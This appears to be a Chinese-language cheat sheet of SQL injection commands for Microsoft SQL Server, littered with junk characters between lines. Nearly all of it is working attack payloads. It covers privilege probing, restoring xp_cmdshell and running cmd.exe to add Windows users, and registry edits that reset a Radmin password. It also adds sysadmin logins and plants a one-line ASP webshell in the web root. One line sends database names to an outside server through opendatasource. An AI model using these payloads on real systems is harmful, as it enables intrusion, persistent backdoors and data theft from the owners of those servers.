阿D常用的一些注入命令' Y$ X. p, R/ V( Y W
//看看是什么权限的
$ s4 v% }! V& y2 }: @( iand 1=(Select IS_MEMBER('db_owner'))
0 r% r4 g/ f4 D0 U& c; c( h* d! S) NAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
4 ?) s7 T6 U3 r8 L1 P1 N
' G1 B3 k- S% @3 C; N; P//检测是否有读取某数据库的权限" d& V+ t" G' \! t- h
and 1= (Select HAS_DBACCESS('master'))
; J7 X! y$ ?2 r$ B6 z' W" OAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
4 z3 H& b+ Q7 Q( a/ v; H5 `( Y
: V% n$ `, }4 c. E* m2 P
& R, S0 C% d/ S8 z$ z0 B数字类型
& f) x: ^ E+ i# Fand char(124)%2Buser%2Bchar(124)=0
4 c5 \; \6 }0 ]" H0 I) o
0 Y: E# F( t1 D# A字符类型
2 n# T( I2 D1 j. p' h' and char(124)%2Buser%2Bchar(124)=0 and ''='
; N7 E3 j9 L; u/ B
) \ n8 R- S( x4 d* b搜索类型
3 B; b& {. Z0 L+ Q7 _' and char(124)%2Buser%2Bchar(124)=0 and '%'='
4 A- q7 D) \' _! e' b1 \3 K. p$ Y7 a2 h" c. z
爆用户名
8 b1 b# i# `0 x& Y, sand user>0! |4 Q, K* s5 ~! c) q& H) f
' and user>0 and ''='
2 W5 {4 u- D, R; k, U& m6 q+ l! V. V5 y/ ]3 f
检测是否为SA权限
8 p8 W/ C2 s2 A# cand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 m. M- ?- N$ V3 X1 f% ^And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --; s) U; _6 a+ k' ]/ u5 {: z
" z; A( v f! l5 A8 S0 t( {检测是不是MSSQL数据库
0 h. C" a7 f& x) [. }. nand exists (select * from sysobjects);-- + F/ q7 ]+ ?' a, p0 H8 B& y* O% N
, T9 e& g+ \. e
检测是否支持多行6 Z5 l# j* V9 W/ ?" B t& G+ ]
;declare @d int;--
, l- o+ P" `- g- J) k$ Z. `6 M5 T) w
恢复 xp_cmdshell
4 J( M* b' W% ], [;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--$ P- F& D4 h2 m3 N+ w
) w$ }& K6 j$ q3 Y" S: C
, P, v \) L6 D) ^5 \# y3 bselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
+ o1 h5 @/ b0 Y7 z4 O" L2 v6 d5 Z$ P' g7 o: A
//-----------------------
. A2 H# S a; z3 t b3 I8 M! s// 执行命令
$ X1 v0 [0 g# i, B7 F$ F" x//-----------------------
+ d% Z0 W) L9 {首先开启沙盘模式:
. C+ j8 v# `! ?: [+ fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 w5 ^* }+ q7 Z9 q5 y2 a, e- ?: n$ [
然后利用jet.oledb执行系统命令
1 [7 U) O4 A6 z8 bselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
v9 r, O% j5 Q& c& m+ S9 c: j: s$ L9 n, I9 x( T$ t Z
执行命令
5 X$ c. w7 G) i/ F! h! O;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
' C+ J- Z/ Z8 E: y' s; J! f- r; E( m7 n( y+ P5 K W: V
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
- O. K/ q! e0 Y1 E3 k) ?
, Y* r) y) n2 V& S: Q7 `% |) y判断xp_cmdshell扩展存储过程是否存在:2 K( w7 A/ q" M% S
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
; A8 y7 r" ]. M4 I
- a _$ n3 m$ K# o4 x8 f7 a写注册表3 ~, Q5 ] I8 ]8 b1 C( d$ j7 `
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 r4 h, i$ x2 F' ]" o
' ]& |) D# [- N: `0 p" n) A+ {REG_SZ. N, M5 J n+ g
4 B# ~8 e& Q0 b( V读注册表( o) k8 E: P% ]$ j! i q4 W }; v
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'2 ]# @: V0 R6 {9 d# a! S4 I' Z0 s
" b- t* p* V) i) l& q读取目录内容- Q$ ~0 i8 l# x, E; q
exec master..xp_dirtree 'c:\winnt\system32\',1,1
$ }# F) Q4 p1 T& q2 |8 {" ~
8 T9 N4 w/ p, [$ Y7 D4 L) r/ a
4 \& {# L" a% [' H数据库备份
% z; G8 u; L8 E1 E) Pbackup database pubs to disk = 'c:\123.bak'
6 E& v6 u& Q2 x5 T5 M1 S% _5 l. ^/ c0 t" @0 @
//爆出长度
4 x7 F4 m6 I! f5 S; g* U- p5 tAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--& D- h' t( \* C; ?
6 y5 v1 m8 E. _+ H
& a1 v, k/ E& j1 M, |& ~- ?6 s3 s$ O! c% A
更改sa口令方法:用sql综合利用工具连接后,执行命令:
; N& h4 ]* `5 `8 H0 B) A h2 ?exec sp_password NULL,'新密码','sa'0 z3 b# n9 v8 l: a: d2 H
: K7 Y) p4 d+ |6 D1 j5 N4 Q添加和删除一个SA权限的用户test:) T) Q$ b3 R& s) `
exec master.dbo.sp_addlogin test,ptlove {' S, W/ ^3 y$ y. v/ j7 N
exec master.dbo.sp_addsrvrolemember test,sysadmin
6 d3 v0 H$ q: Z( @4 _$ i5 r9 s: h5 t% W! e3 p( f% X* m
删除扩展存储过过程xp_cmdshell的语句:
/ p: y$ u& L; L3 V& L& c1 z$ q$ ^exec sp_dropextendedproc 'xp_cmdshell'1 t9 H% F& x" e" w: P3 T& N; v. S8 Q
* x, H" p: M" a3 L' n2 d添加扩展存储过过程
) m) E, V4 g% R' ^1 L8 ^5 s$ qEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' " f2 m+ E4 S& n& l* O( Z# h
GRANT exec On xp_proxiedadata TO public ! v7 w% u$ W# ~
. D* Y/ p# T* q7 b3 Z
5 k+ z2 g8 T# L# k停掉或激活某个服务。
0 l! Z7 M1 W7 h: z" Z) p# G# N3 o G8 O$ n: E
exec master..xp_servicecontrol 'stop','schedule'( g+ V G2 ]4 o/ i C' A6 R! `
exec master..xp_servicecontrol 'start','schedule'
) l# [) @' J! r# d$ C
8 G# V5 l6 M$ g& {dbo.xp_subdirs
2 f' q! o4 T- J& r1 w2 ^3 }
2 |2 Z) _: b# x% E& P, c/ Y, n2 E只列某个目录下的子目录。 d7 f0 R6 G! N, c; Z
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'3 ]8 v1 E3 s D, r* k! J
0 m, e/ g- S1 R b. _dbo.xp_makecab
! c3 `/ j4 B W' l7 C1 F# u8 i+ F; ^: g j
将目标多个档案压缩到某个目标档案之内。
, F4 d4 W" Q% a+ a7 k& L( L所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。) ~" I5 G8 b3 d3 S0 e# {1 [
! r' I: ~9 c7 K, S! i
dbo.xp_makecab
w# o& M. }+ {1 {, U# P'c:\test.cab','mszip',1,
, o2 \1 g2 ]! K'C:\Inetpub\wwwroot\SQLInject\login.asp',
2 k5 e' j" ~$ A# R7 i- u% `'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
9 t" U M+ U2 u* e) \ p9 S! i& E B* G" C8 E
xp_terminate_process" F k1 S: L. u
+ b( a7 R4 L0 T. M" J& I停掉某个执行中的程序,但赋予的参数是 Process ID。
" A4 r7 q& F% l+ D, z利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
5 @# e" m# r: H/ C" ^0 y# t$ L
4 Q# E* E% \3 _! L) W; m2 txp_terminate_process 2484) G0 b: H. B% I! l3 `1 b; Y2 \
* ^) b: u' l! }0 m& e
xp_unpackcab
8 `' I8 _! x4 J2 w7 y7 J9 O# p4 ?+ E- c3 m1 h% k
解开压缩档。
3 k! U0 j! H& ~+ E/ }
% S; e8 N6 m0 ~1 v$ d4 o, hxp_unpackcab 'c:\test.cab','c:\temp',1! v+ Z, g3 S. t- |5 E" C8 `
9 j5 W4 f( f& ?9 A. v; d! D( \4 v$ v1 D6 o
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
9 F8 F) _! X" C3 j% z) j D% k+ R; i% o2 S
create database lcx;
' v' G- f6 X1 ]: X9 _, MCreate TABLE ku(name nvarchar(256) null);. M) D4 Q9 m1 }! Q# W1 W% e
Create TABLE biao(id int NULL,name nvarchar(256) null);
; j' Q$ m! |- a/ ~+ F% s" _. ], t( }: @: k& h. p
//得到数据库名' m! o7 p' m8 R# f9 S! z& h0 j
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
( ~( P/ t. [2 a
3 R2 _% v" O2 W l* @! f: u1 |5 x \
//在Master中创建表,看看权限怎样# ^% W' b# l' ^3 r/ x- _, S
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
$ k; z. S' k6 p
_6 T; v; R, t7 [" {用 sp_makewebtask直接在web目录里写入一句话马:1 e- X0 [0 k) p3 ^3 ^" r- Q6 R; R
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
6 K4 y( l! i/ B0 q7 O$ I- A# f4 c9 {4 w4 t H6 d
//更新表内容2 K% y3 e; g( P5 _
Update films SET kind = 'Dramatic' Where id = 1231 M: _" ]1 Q! O5 W. m
# d" B) Q3 W) `( A; P1 H9 l5 A" F//删除内容9 M+ h. N* w, j. y
delete from table_name where Stockid = 3 |